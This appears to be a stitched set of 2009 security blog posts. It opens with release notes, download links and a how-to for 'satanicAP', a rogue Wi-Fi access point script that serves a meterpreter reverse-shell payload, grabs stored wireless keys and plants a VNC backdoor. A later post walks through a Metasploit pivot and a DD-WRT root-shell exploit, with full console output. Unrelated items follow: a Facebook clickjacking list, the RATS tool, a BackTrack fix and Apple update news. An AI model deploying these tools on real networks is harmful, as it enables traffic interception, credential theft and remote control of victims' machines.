Hi everybody

The satanic AP is finished. Like the name already says, it’s an evil wireless access point. It combines Karmetasploit, Wireless Key Viewer (wkg) by hm2075, FakeAP with sbd by g0tmilk and VNC backdooring in one script (everything is done with meterpreter…).

Some important things:

- The hole script works for my IBM T43p/atheros wireless card/BT4 pre final as attacker

- The victim is Windows Vista on a Lenovo T400 with Antivir

- The WLan AP is horribly slow. Maybe it’s the mtu size, maybe not.

- There are a lot of variables which are exported at the beginning of the script, but you can change nearly everything to your needs

- You don’t need to download the programms/exes i use, you can compile/download them yourself if you don’t trust my executables:

— wkv.exe – Wireless Key View by nirsoft (maybe i modified some bits in my version), Password Recovery Tools for Windows

— sbd.exe is already on BT. I don’t use another one.

— vncbackdoor.exe -> follow pureh@tes tutorial on windows backdoor part 1 and Uploading a windows vnc backdoor part 2 , the new version of ultraVNC changed, you don’t have to do the registry stuff but pack the .ini file into the exe and run winvnc.exe -run instead of -reinstall. But that’s another story.

— fDNS is available on DNSpenTest | Get DNSpenTest at SourceForge.net

- SatanicAP can be run in five different modes:

— 0 = Karmetasploit

— 1 = Wireless Key Grabber by hm2075

— 2 = FakeAP by g0tmilk – You have to shut down your Antivirus on Windows Victim!

— 3 = Wireless Key Grabber (1) and FakeAP (2) together – Shut down Antivirus!

— 4 = UltraVNC Backdoor instead of SBD – Shut down Antivirus (and allow VNC on Win Firewall)!

— 5 = Wireless Key Grabber (1) and VNC Backdoor (4) – Shut down Antivirus (and allow VNC on Win Firewall)!

- I only implemented VNC to proof that it’s very easy to extend the script. It took about 10 lines of code

- I commented out the autometer script because i was too lazy to fix it

Here’s the script only: Uploadingit.com | Downloading File: satanicAP.sh

Here’s the script including programs/exes: Uploadingit.com | Downloading File: satanicAP.tar.gz

Here’s the howto (as short/simple as possible):

1. backup dhcpd.conf

cp /etc/dhcp3/dhcpd.conf /etc/dhcp3/dhcpd.conf.bak

2. Change into /root/ folder

cd /root/

3. Download Uploadingit.com | Downloading File: satanicAP.tar.gz and extract it into /root/

cd /root/
tar -zxf satanicAP.tar.gz
cd ./SAP

4. Read satanicAP.sh script to understand what it does!

5. Go through the export statements at the beginning of the script and change them to your needs. Leave everything you don’t understand

6. Make executable

chmod +x satanicAP.sh

7. Run it the first time and read its output

./satanicAP.sh

8. Start Karmetasploit and read its output

./satanicAP.sh 0 0

9. Connect with a Windows Machine to the AP and open up a browser (mine was not vulnerable)

10. Back in Backtrack you can test other combinations:

./satanicAP.sh 1 1

11. Disconnect and Reconnect again with the Windows Machine, open up a browser and go to Google or www.uezdfedjw.net, download the mentioned exe file from the “fon” page and execute it. On the Backtrack machine you will see Metasploit starting the “Sending Stage”. It takes about 1 minute in my lab. With vnc it takes much longer, because the vncbackdoor.exe is bigger.

12. Here is the output of the script after a successfull execution (example for ./satanicAP 5 0):

Code:

root@floyd:~/SAP# ./satanicAP.sh 5 0
[+] Satanic AP by floyd fuh
[+] Cleaning up befor I begin
Site Satanic_AP disabled.
Run '/etc/init.d/apache2 reload' to activate new configuration!
Stopping web server: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
[Mon Sep 28 18:09:56 2009] [warn] NameVirtualHost *:80 has no VirtualHosts
 ... waiting .

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
mon0            Atheros         ath5k - [phy0] (removed)

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode disabled)

[+] Making dirs
mkdir: cannot create directory `/root/SAP': File exists
mkdir: cannot create directory `/root/SAP/www': File exists
mkdir: cannot create directory `/root/SAP/payload': File exists
mkdir: cannot create directory `/root/SAP/tools': File exists
mkdir: cannot create directory `/root/SAP/tools/dns_spoof': File exists
[+] Killing wicd
Stopping Network connection manager: wicd.
wicd-client: no process killed
[+] Starting Monitor Mode

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID     Name
8117    dhclient

Interface       Chipset         Driver

wlan0           Atheros         ath5k - [phy0]
                                (monitor mode enabled on mon0)

[+] Changing MAC of mon0 to 00:10:23:A2:F2:83
Current MAC: 00:1X:aX:3X:X5:X1 (unknown)
Faked MAC:   00:10:23:a2:f2:83 (Flowwise Networks, Inc.)
[+] Writing /etc/dhcp3/dhcpd.conf
[+] Setting up AP
[+] Sleeping to wait for interface
[+] Starting apache
Starting web server: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
[Mon Sep 28 18:10:07 2009] [warn] NameVirtualHost *:80 has no VirtualHosts
.
[+] Setting up VirtualHost config for Satanic AP
[+] Disabling Apache2 site default, enabling Satanic_AP
Site default already disabled
Enabling site Satanic_AP.
Run '/etc/init.d/apache2 reload' to activate new configuration!
[+] Reloading Apache2
Reloading web server config: apache2apache2: apr_sockaddr_info_get() failed for floyd
apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.0.1 for ServerName
.
[+] Compile payload fon_access_2.7.exe (reverse tcp shell)
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp
 Length: 272
Options: LHOST=10.0.0.1,LPORT=5555
[+] Writing proof file
[+] Writing common proof file script
[+] Writing FakeAP script
[+] Copying the second payload vncbackdoor.exe/sbd.exe to sys32.exe
[+] Writing Metasploit script
[+] Starting Metasploit
[+] Setting up interfaces and iptables
[+] Starting DHCP
Internet Systems Consortium DHCP Server V3.1.1
Copyright 2004-2008 Internet Systems Consortium.
All rights reserved.
For info, please visit http://www.isc.org/sw/dhcp/
Wrote 13 leases to leases file.
Listening on LPF/at0/00:10:23:a2:f2:83/10.0.0/24
Sending on   LPF/at0/00:10:23:a2:f2:83/10.0.0/24
Sending on   Socket/fallback/fallback-net
Can't create PID file /var/run/dhcpd.pid: Permission denied.
[+] Starting DNS Spoof
[+] You probably have to connect to 10.0.0.100::1050
[+] The password is satanicAPConnect
For further explanation watch pureh@tes http://blip.tv/file/577132
as well as http://uploads.blip.tv/file/577932 . The new version of UltaVNC uses
a .ini file instead of registry and you just have to winvnc.exe -run instead of
winvnc.exe -reinstall.
[+] Satanic AP over and out. floyd fuh

Thanks to bro Floyd from remote-exploit forum for this script

http://forums.remote-exploit.org/wireless/27147-satanicap-karmetasploit-wkg-fakeap-vncbackdoor-2.html

RATS – Rough Auditing Tool for Security – is an open source tool developed and maintained by Secure Software security engineers. Secure Software was acquired by Fortify Software, Inc. RATS is a tool for scanning C, C++, Perl, PHP and Python source code and flagging common security related programming errors such as buffer overflows and TOCTOU (Time Of Check, Time Of Use) race conditions.

RATS scanning tool provides a security analyst with a list of potential trouble spots on which to focus, along with describing the problem, and potentially suggest remedies. It also provides a relative assessment of the potential severity of each problem, to better help an auditor prioritize. This tool also performs some basic analysis to try to rule out conditions that are obviously not problems.

As its name implies, the tool performs only a rough analysis of source code. It will not find every error and will also find things that are not errors. Manual inspection of your code is still necessary, but greatly aided with this tool.

Requirements

RATS requires expat to be installed in order to build and run. Expat is often installed in /usr/local/lib and /usr/local/include. On some systems, you will need to specify –with-expat-lib and –with-expat-include options to configure so that it can find your installation of the library and header. Expat can be found here.

You can download RATS here:

Source Code: rats-2.3.tar.gz

Windows Binary: rats-2.3-win32.zip

Or read more here.

Clickjacking is an admittedly difficult problem to solve entirely, though I question why invisible iframes are necessary. Still, a few techniques to combat the attack exist, such as frame-busting scripts. Twitter implemented this approach after a proof-of-concept attack circulated earlier this year, at the time, several researchers speculated on the ramifications for other sites, such as Facebook.

I’ve noted previously that authorizing a Facebook application requires only a single click, even if you’ve exempted your profile from the Facebook Platform. After noticing another possible clickjacking attack vector, I began compiling a list of single-click actions that should give any Facebook user pause. All of the following actions can be mistakenly performed by a user simply clicking a link or button on an innocent-looking page via clickjacking:

• Authorize a malicious application. This can happen regardless of any privacy settings. On authorization, an application can immediately access your profile information, your photos, your posted links, your notes, your status updates, etc. It can also send notifications to your profile, send notifications to other people (anonymously or from you), and post feed stories to your wall, all with links included. Note that under default privacy settings, an application can access most of your data if a friend of yours falls prey to this type of attack.
• Authorize a legitimate application with a cross-site scripting exploit. Most applications vulnerable to such an attack allow for clickjacking installs, where a single click authorizes the application and then forwards a user to an infected application page. That landing page can then execute any of the actions listed above for a malicious application. Note that if a friend falls for this attack and you have authorized the application, all of your data is vulnerable as well.
• Post a link to your profile. This is possible by applying clickjacking to several Facebook pages used for sharing content. A custom title and description can be set for the link. Other content, such as a Flash video, can also be posted this way.
• Publish a feed story from a malicious application. Note that this can work regardless of whether you have authorized the application. Applications may publish feed stories prior without authorization by a single click, though this does not grant them access to a user’s data. The feed story may include images, descriptive text, and links. The application can also pre-populate the user’s comments on the story, which would then be submitted upon execution of the clickjacking attack.
• Send a message to another user. The recipient, subject, and message content, including links, can all be pre-populated. This no longer gives the recipient more access to data than usual, but could still be easily used to spread malware.
• Send a friend request to another user. This means that a victim could unknowingly send a friend request to a malicious attacker’s profile, and the attacker would simply need to approve the request to gain access to everything on a user’s profile that their friends can access by default.
• Harvest a user’s post_form_id. Those familiar with Facebook’s code will realize how serious this issue is. However, exploiting a post_form_id also requires knowing a user’s Facebook ID, and so far this attack does not provide the latter.

This list is not simply theoretical – I did some simple testing to make sure that each of these attacks worked. I also would not pretend that my list is exhaustive, and I would welcome any additions from other researchers.

Most of these are already known or fairly trivial to figure out. I am not aware of anyone reporting my method for the last attack, however, and I will be reporting the details of it to Facebook, as I believe it involves a code issue that can be patched apart from any clickjacking protection. Update: Facebook pushed a fix last night which I’ve confirmed. The hole came from a dialog page that one could load via a POST request. Outside its normal context, clicking the submit button on the page would forward a user back to the referring page but with the post_form_id appended.

I hope this list will help raise awareness of the potential dangers of clickjacking. Creating a Facebook version of Twitter’s “don’t click” worm would be fairly simple, and as this list indicates, one could do far more than simply post a link in the process.

The Web Application Security Consortium (WASC) is pleased to announce the WASC Web Application Security Statistics Project 2008. This initiative is a collaborative industry wide effort to pool together sanitized website vulnerability data and to gain a better understanding about the web application vulnerability landscape. We ascertain which classes of attacks are the most prevalent regardless of the methodology used to identify them. Industry statistics such as those compiled by Mitre CVE project provide valuable insight into the types of vulnerabilities discovered in open source and commercial applications, this project tries to be the equivalent for custom web applications.

Metasploit now has in the 3.3 Dev SVN an exploit for embedded device Linux distribution DD-WRT. This exploit module abuses a metacharacter injection vulnerability in the  HTTP management server of wireless gateways running DD-WRT. This flaw allows an unauthenticated attacker to execute arbitrary commands as the root user account. It was argued that this exploit is of low impact by some since the distribution only listens for HTTP connections thru the internal interface. In this example of using the exploit the exploit will be used thru a pivot obtained thru a client side exploit from which we will pivot, do a discovery, finger print the device and exploit it.  In the following example we will start by showing our IP of the attacker machine, receiving the Meterpreter shell and showing the target box IP thru a cmd shell:

msf > ifconfig eth0
[*] exec: ifconfig eth0
eth0      Link encap:Ethernet  HWaddr 00:0e:7f:f9:12:62
          inet addr:192.168.1.158  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::20e:7fff:fef9:1262/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:55461 errors:0 dropped:0 overruns:0 frame:0
          TX packets:23899 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:58889891 (58.8 MB)  TX bytes:3107063 (3.1 MB)
          Interrupt:20
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(handler) > set ExitOnSession false
ExitOnSession => false
msf exploit(handler) > exploit -j -z
[*] Exploit running as background job.
msf exploit(handler) >
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(216 bytes)
[*] Sending stage (718336 bytes)
[*] Meterpreter session 1 opened (192.168.1.158:4444 -> 192.168.1.100:1085)
msf exploit(handler) > session -i 1
[-] Unknown command: session.
msf exploit(handler) > sessions -i 1
[*] Starting interaction with 1...
meterpreter > sysinfo 
Computer: AWINXP01
OS      : Windows XP (Build 2600, Service Pack 2).
meterpreter > execute -H -f -c -i -f cmd.exe
Process 1708 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\Documents and Settings\administrator\Desktop>ipconfig
ipconfig
Windows IP Configuration
Ethernet adapter Local Area Connection:
        Connection-specific DNS Suffix  . :
        IP Address. . . . . . . . . . . . : 192.168.111.200
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.111.2
C:\Documents and Settings\administrator\Desktop>exit
meterpreter >

Know we proceed to background this session and set a route thru the session to the network behind the NAT router from the information we gathered:

meterpreter >
Background session 1? [y/N]
msf exploit(handler) >
msf exploit(handler) > route add 192.168.111.0 255.255.255.0 1
msf exploit(handler) > route print
Active Routing Table
====================
   Subnet             Netmask            Gateway
   ------             -------            -------
   192.168.111.0      255.255.255.0      Session 1
msf exploit(handler) >

Now that the route is created we can use the TCP Port Scanner Auxiliary Module to do a TCP scan of the default gateway of the target network:

msf exploit(handler) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > info
       Name: TCP Port Scanner
    Version: 6823
    License: Metasploit Framework License (BSD)
Provided by:
  hdm <hdm@metasploit.com>
  kris katterjohn <katterjohn@gmail.com>
Basic options:
  Name     Current Setting  Required  Description
  ----     ---------------  --------  -----------
  PORTS    1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
  RHOSTS                    yes       The target address range or CIDR identifier
  THREADS  1                yes       The number of concurrent threads
  TIMEOUT  1000             yes       The socket connect timeout in milliseconds
Description:
  Enumerate open TCP services
msf auxiliary(tcp) > set PORTS 22,23,80,443
PORTS => 22,23,80,443
msf auxiliary(tcp) > set RHOSTS 192.168.111.2
RHOSTS => 192.168.111.2
msf auxiliary(tcp) > run
[*]  TCP OPEN 192.168.111.2:22
[*]  TCP OPEN 192.168.111.2:23
[*]  TCP OPEN 192.168.111.2:80
[*] Auxiliary module execution completed
msf exploit(handler) >

Since we are going thru a Meterpreter TCP pivot is important to remember to keep the THREAD variable to 1 since Meterpreter is not multithreaded and limit the number of ports to those you want to target so as to not expend a large amount of time scanning. Now that the ports that are open we proceed to finger print one of the services by getting the banner using the connect command in Metasploit:

msf exploit(handler) > connect -c 1 192.168.111.2 23
[*] Connected to 192.168.111.2:23
DD-WRT v24 std (c) 2007 NewMedia-NET GmbH
Release: 01/26/07 (SVN revision: 5660M)
�
DD-WRTx86CI login: ^Cmsf exploit(handler) >
msf exploit(handler) >

As we can see the Telnet login banner identifies the target machine as a DD-WRT box. We know proceed to load the exploit module and set a reverse netcat payload and set the other appropriate variables. Onece we have ran the exploit and a session is created we proceed to run the Linux uname command to check the version of the device and to also check the shell is working:

msf exploit(handler) > use exploit/linux/http/ddwrt_cgibin_exec
msf exploit(ddwrt_cgibin_exec) > set PAYLOAD cmd/unix/reverse_netcat
PAYLOAD => cmd/unix/reverse_netcat
msf exploit(ddwrt_cgibin_exec) > set LPORT 2222
LPORT => 2222
msf exploit(ddwrt_cgibin_exec) > set RHOST 192.168.111.2
RHOST => 192.168.111.2
msf exploit(ddwrt_cgibin_exec) > set LHOST 192.168.1.158
LHOST => 192.168.1.158
msf exploit(ddwrt_cgibin_exec) > exploit
[*] Handler binding to LHOST 0.0.0.0
[*] Started reverse handler
[*] Sending GET request with encoded command line...
[*] Command shell session 2 opened (192.168.1.158:2222 -> 192.168.1.100:4531)
uname -a
Linux DD-WRTx86CI 2.6.19.2dd-wrt #45 Fri Jan 26 06:28:01 CET 2007 i686 unknown

One advantage is that since the shell is running thru a Meterpreter session all traffic outside of the target network to the attackers box is encrypted using SSL.

For more information on this vulnerability please check the following links:

http://www.securityfocus.com/bid/35742
http://www.milw0rm.com/exploits/9209

Setting up postgresql-8.3 (8.3.8-0ubuntu8.10) …
Starting PostgreSQL 8.3 database server: main* The PostgreSQL server failed to start. Please check the log output:
2009-09-29 12:21:43 BST FATAL: could not load server certificate file “server.crt”: No such file or directory
failed!
invoke-rc.d: initscript postgresql-8.3, action “start” failed.
dpkg: error processing postgresql-8.3 (–configure):
subprocess post-installation script returned error exit status 1
dpkg: dependency problems prevent configuration of postgresql:
postgresql depends on postgresql-8.3; however:
Package postgresql-8.3 is not configured yet.
dpkg: error processing postgresql (–configure):
dependency problems – leaving unconfigured
No apport report written because the error message indicates its a followup error from a previous failure.
Errors were encountered while processing:
postgresql-8.3
postgresql
E: Sub-process /usr/bin/dpkg returned an error code (1)

——————————————————————————————————————

OK now pen console then type :-

cd /etc/ssl/certs
ls -ld /etc/ssl/private
sudo ls -l /etc/ssl/private/
make-ssl-cert generate-default-snakeoil –force-overwrite
————————————————————————————
BackTrack 4 Pre Final Kernel Update

apt-get update
apt-get install -d linux-image
cd /var/cache/apt/archives/
dpkg -i –force all linux-image-2.6.30.5_2.6.30.5-10.00.Custom_i386.deb
apt-get dist-upgrade
apt-get install madwifi-drivers
apt-get install r8187-drivers

————————————————————————————

After a reboot, type this command:

fix-splash

now you will get no error with Postgresql

enjoy the BackTrack 4 pre-Final

thanks to CONSOLE

But within hours, it pulls enterprise tool from update list

Apple again used its software update tool to push a program that was previously not installed on PCs, according to Computerworld tests early Monday. Later in the day, however, Apple removed the software from the update list. Apple’s Software Update for Windows — a utility most often installed on PCs when users download iTunes — was offering something called “iPhone Configuration Utility” to Windows users, even those who have never connected an iPhone to their computers. Popular Windows blogger Ed Bott first reported on ZDNet that the tool was included in new updates. Computerworld confirmed that the 22MB download was offered to PCs — including those running Windows XP Service Pack 3 (SP3) and Vista SP2 — that had never been used to synchronize an iPhone. The tool, chimed in Simon Bisson of itexpertmag.com, is actually an enterprise-grade tool for network administrators, who use it to create and deploy device profiles so users can securely connect to a company’s Exchange mail servers. According to Bisson, the iPhone Configuration Utility also adds the open-source Apache Web server software to the PC. “The thing with that iPhone config utility is that it’s an enterprise tool for building device profiles. It’s not for consumers!” Bisson said on Twitter.

Apple has been criticized in the past for using its software updating service to push unwanted software. Last year, for example, the company came under fire for offering Safari for Windows to users who had not installed the application, going so far as to pre-check the program so that users who simply accepted the default downloads received the browser. John Lilly, the CEO of Mozilla, the open-source developer responsible for Firefox, said Apple’s tactic “undermines the Internet” because updates are traditionally used to patch or fix existing software, not install new programs.

Later, Apple quietly changed Software Update so that Safari was unchecked, requiring users to explicitly request the browser. By 3:30 p.m. EST, Apple Software Update had dropped the iPhone Configuration Utility as a potential update to the same PCs that had earlier indicated the tool should be downloaded. Apple did not immediately respond to questions about why the iPhone utility had been offered, and whether the company had erred in listing it as an update for Windows users.